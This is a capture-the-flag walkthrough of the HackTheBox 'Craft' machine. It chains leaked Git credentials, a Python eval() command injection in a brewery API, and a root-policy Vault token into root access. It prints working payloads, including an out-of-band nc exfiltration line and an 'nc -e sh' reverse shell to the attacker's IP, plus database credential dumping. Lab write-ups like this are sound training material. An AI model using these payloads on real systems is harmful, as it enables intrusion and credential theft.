Overview

Craft is a Linux machine built around a REST API for a fictional brewery, craft.htb, backed by a self-hosted Gogs Git server. Digging through the API’s public source repository uncovers a signing secret in the commit history, which is used to forge a valid JWT. That access reveals a Python eval() command injection in the brew-creation endpoint, leading to a shell inside a Docker container. Database and Vault credentials recovered from the container ultimately provide SSH access as a low-privileged user, and abusing a root-policy HashiCorp Vault token to generate an SSH one-time password completes the path to root.

Attack Chain

  • Scan the target and identify HTTPS on port 443, revealing the craft.htb virtual host
  • Discover gogs.craft.htb and api.craft.htb as additional virtual hosts
  • Browse the self-hosted Gogs instance and enumerate the public craft-api repository and user list
  • Find a curl example in a reported issue containing a valid X-Craft-API-Token JWT
  • Read the API source and find the JWT signing secret is imported from a settings module
  • Decode the sample JWT and its expiry timestamp with jwt.io and CyberChef
  • Clone the craft-api repository and search git log/git show for exposed secrets
  • Recover plaintext credentials for the user dinesh from an old commit
  • Authenticate to the API and receive a valid JWT
  • Identify that the /api/brew endpoint’s abv field is passed to Python’s eval() unsanitised
  • Confirm command injection and pivot it into a reverse shell inside the API’s Docker container
  • Recover database and Vault secrets from settings.py inside the container
  • Connect to the database with pymysql and dump the user table
  • Reuse a recovered password to log into Gogs as gilfoyle and find a private repository containing an SSH private key
  • SSH in as gilfoyle and read the user flag
  • Find a .vault-token file and use the Vault CLI to inspect its root-level policy
  • Generate a one-time SSH password for root via Vault’s ssh/ secrets engine
  • SSH in as root using the generated OTP and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.49.13; export NAME=CRAFT; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

The open TCP ports are:

22,443,6022

Wait, the nmap output actually points us to a web service that expects to be reached by name, so we add craft.htb to /etc/hosts.

nmap results


Web Enumeration

Port 443 - https

Browsing to craft.htb shows a landing page about a “brews repository” reachable over REST, along with a link to check out the REST API.

Craft landing page

The two links in the top right fail to resolve, gogs.craft.htb…

gogs.craft.htb unknown host

…and api.craft.htb.

api.craft.htb unknown host

We add both to /etc/hosts as well.

Gogs: Self-Hosted Git

gogs.craft.htb turns out to be a self-hosted Git service.

Gogs landing page

Browsing to /explore redirects to /explore/repos, where we find the craft-api repository.

explore redirect

craft-api repository

/explore/users gives us a list of potential usernames, which we save for later.

explore users

usernames saved

Leaking the API Signing Secret

Browsing /craft-api/issues/2, we find a reported issue containing a curl example that sets an X-Craft-API-Token header.

issue with curl token example

Looking at /craft-api/src/master/craft_api/api/auth/endpoints/auth.py, authentication signs a JWT from a username, the current date/time, and a secret. On line 14, that secret is assigned from settings.CRAFT_API_SECRET, where settings is imported from craft_api.

auth.py secret import

The sample request from the issue:

curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'

We decode the embedded JWT with jwt.io:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw

The token belongs to the user user, with an exp claim as a UNIX timestamp.

decoded JWT payload

CyberChef converts 1549385242 to Tue 5 February 2019 16:47:22 UTC.

CyberChef timestamp conversion

To forge our own token we need the signing secret, so we clone the repository. GIT_SSL_NO_VERIFY=true avoids an SSL verification failure against the self-signed certificate.

GIT_SSL_NO_VERIFY=true git clone https://gogs.craft.htb/Craft/craft-api

cloning craft-api

We walk the full commit history looking for anything sensitive.

git log --all --full-history

git log –all –full-history

Stepping through commits with git show turns up plaintext credentials in how a test script used to call the login endpoint.

git show a2d28ed1554adddfcfb845879bfea09f976ab7c1

git show reveals credentials

dinesh:4aUh0A8PbVJxgd

Authentication

Browsing to api.craft.htb/api lands on a Swagger UI page documenting the API’s endpoints via an OpenAPI spec (swagger.json).

Swagger UI

With the recovered credentials, we send a Basic Auth request to /api/auth/login (note this endpoint uses GET).

curl -k -u 'dinesh:4aUh0A8PbVJxgd' https://api.craft.htb/api/auth/login -x 127.0.0.1:8080

We receive a valid token:

token received

{"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNzg3NTExOTE5fQ.ZFPar04gJsBZv62LGaFFveqee6HanHLiccIKZ5gd3xg"}

Command Injection

Poking at the API’s endpoints, /brew/{id} stands out because its abv value accepts a string rather than a float or int.

abv accepts a string

Looking at brew.py in /craft-api/api/brew/endpoints from the cloned repository, creating a brew entry passes abv straight into eval() to check whether it is less than one.

eval() on abv in brew.py

Confirming Normal Functionality

Using Burp Suite, we first confirm the basic create/read flow with test data (our JWT expires periodically and needs refreshing via /api/auth/login).

{
  "id": 2362,
  "brewer": "TestBrew2",
  "name": "TestName2",
  "style": "TestStyle2",
  "abv": "0.8"
}

POST a new brew with our X-Craft-Api-Token header:

creating a test brew

GET /api/brew/2362 to confirm it was stored:

reading the test brew

Exploiting eval()

The abv field’s eval() call has no filtering or validation, so it will execute arbitrary Python. We try a basic id payload:

__import__('os').popen('id').read()

Submitting it as a new brew returns an Unhandled exception occurred error.

id payload causes an error

Reading the brew back gives the same error, suggesting eval() ran but the entry was never committed.

reading the brew also errors

To confirm code execution out-of-band, we pipe id to nc on port 4545 and start a listener on our attacking machine first.

__import__('os').popen('id | nc 10.10.14.30 4545').read()

The API request errors the same way as before…

nc payload also errors in the API response

…but this time our nc listener receives the id output, confirming command injection.

id output received on the nc listener

Reverse Shell

which bash only turns up sh, so we use that for our shell:

__import__('os').popen('nc 10.10.14.30 4545 -e sh').read()

We land as root, but a numeric hostname and an unfamiliar IP address suggest we’re inside a container.

shell as root inside a container

/.dockerenv at the filesystem root confirms it.

dockerenv present


Foothold

Recovering Secrets from settings.py

The app directory we land in contains the same dbtest.py seen in the cloned repository.

dbtest.py present

dbtest.py imports settings from craft_api and pulls database credentials from it.

dbtest.py contents

settings.py was missing from our cloned copy of the repository, but it exists inside the container, so we read it directly.

settings.py contents

MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'

It also contains the JWT signing secret:

CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

Querying the Database

A direct mysql client isn’t available in the container.

mysql -h db -u craft -p'qLGockJ6G2J75O' craft

mysql client not found

Since dbtest.py uses pymysql, we connect the same way from a python3 shell.

import pymysql
conn = pymysql.connect(host='db', user='craft', password='qLGockJ6G2J75O', db='craft', cursorclass=pymysql.cursors.DictCursor)

connecting with pymysql

We list the available tables (indentation matters here, this is Python).

with conn.cursor() as cur:
	cur.execute('SHOW TABLES')
	print(cur.fetchall())

There are two tables, brew and user.

tables: brew and user

We dump the user table row by row.

with conn.cursor() as cur:
	cur.execute('SELECT * FROM user')
	for row in cur.fetchall():
		print(row)

This returns three usernames and passwords.

user table dump

We already had the usernames from Gogs, so we save all the passwords to our credentials file for later.

passwords saved

Recovering an SSH Key from Gogs

None of the recovered credentials work over SSH directly, but one logs into Gogs as gilfoyle, revealing a private repository.

logged into Gogs as gilfoyle

The private repository, craft-infra, has a .ssh folder that immediately stands out.

craft-infra repository

It contains gilfoyle’s private SSH key.

gilfoyle’s private key

We transfer id_rsa to our attacking machine…

transferring id_rsa

…and set the correct permissions.

chmod 600 id_rsa

chmod 600 on the key

SSH as gilfoyle

We log in as gilfoyle with the recovered key. When prompted for a passphrase, the same password used for Gogs, ZEU3N8WNM2rh4T, works.

ssh gilfoyle@$IP -i creds/id_rsa

ssh login succeeds

We have an interactive session as gilfoyle.

shell as gilfoyle

We read the user flag.

user flag


Privilege Escalation

Discovering the Vault Token

In gilfoyle’s home directory, we find a .vault-token file.

.vault-token found

f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9

This is the access credential for HashiCorp Vault, a tool for managing secrets and protecting sensitive data.

.vault-token contents

The Vault CLI is available.

which vault
vault --version

We have Vault v1.0.2.

vault version

Locating the Vault Configuration

Vault’s configuration is usually named vault.hcl, but searching for it comes up empty. We widen the search to any .hcl file.

find / -name "vault.hcl" 2>/dev/null
find / -name "*.hcl" 2>/dev/null

This gives us a different Vault-related file.

vault hcl file path found

/usr/local/etc/vault-ssh-helper.hcl
cat /usr/local/etc/vault-ssh-helper.hcl

vault-ssh-helper.hcl contents

Per Vault’s CLI documentation, we need to set:

  • VAULT_ADDR: which server to talk to
  • VAULT_TOKEN: to authenticate every request
  • VAULT_SKIP_VERIFY: taken directly from vault-ssh-helper.hcl, since the CLI is talking to a self-signed certificate
export VAULT_ADDR='https://172.20.0.2:8200'
export VAULT_SKIP_VERIFY=true
export VAULT_TOKEN=$(cat /home/gilfoyle/.vault-token)

vault environment variables set

Abusing a Root-Policy Token

We check what our token is allowed to do.

vault token lookup

The output shows policies:[ROOT], policies define permissions in Vault.

vault token lookup shows ROOT policy

We list which secrets engines are mounted.

vault secrets list

ssh/ stands out.

vault secrets list shows ssh/

vault list ssh/roles

ssh/ roles listed

We investigate the role we found.

vault read ssh/roles/root_otp

Again, root is the default user.

ssh role details

key_type: otp means this role generates a one-time password for SSH login as root.

Generating the OTP

We generate an OTP, specifying localhost since we’re logging in from within the same system.

vault write ssh/creds/root_otp ip=127.0.0.1

The key field is the one-time password, validated by vault-ssh-helper during login.

OTP generated

We SSH to localhost from our gilfoyle session.

ssh root@127.0.0.1

It works.

root ssh login succeeds

We have an interactive session as root.

root shell

We read the root flag.

root flag


Key Takeaways

Craft shows how much damage a single leaked secret can do. The JWT signing key was never actually needed directly, Git history alone leaked plaintext credentials that unlocked the API. From there, passing user-controlled input straight into Python’s eval() turned a numeric field into remote code execution inside the application’s Docker container. Once inside, secrets sprawled across multiple systems: database credentials, a Gogs password, an SSH private key, and finally a root-policy Vault token, each one leading directly to the next, culminating in a Vault-issued one-time password for root.